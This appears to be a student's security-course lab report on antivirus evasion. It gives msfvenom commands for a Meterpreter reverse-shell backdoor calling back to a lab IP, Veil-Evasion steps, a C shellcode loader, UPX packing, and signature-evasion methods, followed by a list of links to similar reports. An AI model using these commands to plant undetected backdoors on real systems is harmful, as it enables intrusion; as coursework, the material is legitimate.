20155327李百乾 Exp3 免杀原理与实践
20155327李百乾 Exp3 免杀原理与实践
实践guocheng
一.Msfvenom使用编码器
1.利用(virustota)[https://www.virustotal.com/]检测实验二的后门程序
可见未经处理的后门程序被大多数软件识别出来。
2.用msf编码器对后门程序进行一次到多次的编码,看看是否对免杀有所作用。
十次编码使用命令:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.161.134 LPORT=443 -f exe > met-encoded10.exe
3.将编码十次后的可执行文件上传到VirusTotal扫描
可见一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。
二.Veil-Evasion
1.安装好veil后,首先要启用veil
- 输入命令:veil;
-接着进入veil-evasion,在veil中输入命令:use evasion - 输入命令:use c/meterpreter/rev_tcp.py用c语言重写meterperter
- 设置反弹连接IP,命令为:set LHOST 192.168.161.134,注意此处的IP是KaliIP;
- 设置端口,命令为:set LPORT 5327
- 输入generate生成文件,接着输入playload的名字:playload5327
- 最后出现
2.将文件进行扫描
可以发现报毒率下降了很多
三. C语言调用Shellcode
1.首先使用命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.161.134 LPORT=5327 -f c用c语言生成一段shellcode;
2.创建20155312.c,然后将unsigned char buf[]赋值到其中,代码最后加上
int main()
{
int (*func)() = (int(*)())buf;
func();
}
3.使用命令:i686-w64-mingw32-g++ 20155327.c -o 20155327.exe编译这个.c文件为可执行文件:意思是将该文件编译为一个可在64位windows系统下操作的可执行文件。
4.将文件进行扫描
四.加壳
1.用下面的命令来加这个压缩壳
upx 20155327.exe -o 20155327a.exe
2.进行检测
实验小结
基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测
启发式恶意软件检测
基于行为的恶意软件检测
(2)免杀是做什么?
使病毒木马免于被杀毒软件查杀,使攻击机安全利用
(3)免杀的基本方法有哪些?
加壳改壳:加壳改壳是病毒免杀常用的手段之一,加壳改壳原理是将一个木马文件加上upx壳或者其它壳后用lordpe将文件入口点加1,然后将区段字符全部去掉,然后用od打开免杀的木马在入口上下100字符内修改一些代码让杀毒软件查不出来是什么壳就不知道怎么脱就可以实现免杀的目的。
加花指令:加花是病毒免杀常用的手段,加花的原理就是通过添加加花指令(一些垃圾指令,类型加1减1之类的无用语句)让杀毒软件检测不到特征码,干扰杀毒软件正常的检测。
改程序入口点
免杀修改方法:直接修改特征码的十六进制法、修改字符串大小写法、等价替换法、指令顺序调换法、通用跳转法。
实验总结
本次是第三次实验,实验过程中还是遇见了不少问题,也感受到不能单单依赖于杀软的保护,在平时生活中也要注意保护好自己的隐私。
20155327李百乾 Exp3 免杀原理与实践的更多相关文章
- 20155202张旭 Exp3 免杀原理与实践
20155202张旭 Exp3 免杀原理与实践 AV厂商检测恶意软件的方式主流的就三种: 基于特征码的检测 启发式恶意软件检测 基于行为的恶意软件检测 我们要做的就是让我们的恶意软件没法被这三种方式找 ...
- 20165218 《网络对抗技术》Exp3 免杀原理与实践
Exp3 免杀原理与实践 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 使用VirusTotal或 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- Debian 静态网络配置
allow-hotplug enp6s0 iface enp6s0 inet static address gateway 192.168.2.1 # dns-* options are implem ...
- Linux系统之路——如何在服务器用U盘安装CentOS7.2(一)
终于将CentOS7装上服务器(thinkserver250,不得不说联想的太烂了)了,过程无比艰辛,因为我发现网上大家提到的所有U盘安装CentOS7时碰到的问题几乎都被我碰到了,像什么: 1.刻录 ...
- JavaScript的事件的处理函数(鼠标,键盘,HTML)
事件处理函数概述 JavaScript 可以处理的事件类型为:鼠标事件.键盘事件.HTML 事件 所有的事件处理函数都会都有两个部分组成,on + 事件名称,例如 click 事件的事件处理函数就是: ...
- Gym 100633G Nano alarm-clocks
题目,给定n个时钟,要求把他们调成一样的时间.求最小的步数 思路:肯定是有一个时钟作为标准的啦,要找到这个时钟,怎么找呢?没其他方便的方法,暴力枚举.那么枚举后,怎么能快速地算到其他时钟转到这个时钟的 ...
- 【[HEOI2016/TJOI2016]序列】
压行真漂亮 首先这肯定是一个\(dp\)了 设\(dp_i\)表示\(i\)结尾的最长不下降子序列的长度 显然我们要找一个\(j\)来转移 也就是\(dp_i=max(dp_j+1)\) 那么什么样的 ...
- [19/04/23-星期二] GOF23_创建型模式(工厂模式、抽象工厂模式)
一.工厂模式(分为:简单工厂模式.工厂方法模式.抽象工厂模式) 实现了创建者和调用者的分离 核心本质:1.实例化对象,用工厂方法代替new操作:2.将选择实现类.创建对象统一管理和控制,从而将调用者跟 ...
- 【js】五子棋-UI学习
http://www.imooc.com/learn/639 棋盘用canvas实现
- 4种方法获取select下拉框标签中的值
选中下拉框中“上海” 代码如下:<select id="province" class="select" name="province" ...
- sping全家桶笔记
1.curl 用于在终端命令模式下访问一个URL地址 例如在idea的Terminal中访问URL,健康检查(需要加入actuator依赖)curl http://localhost:8080/act ...
- python -- MySQLdb连接mysql数据库
1. python安装mysql $ pip install mysql-python 2. 数据库连接程序: import MySQLdb # 打开数据库连接db = MySQLdb.connect ...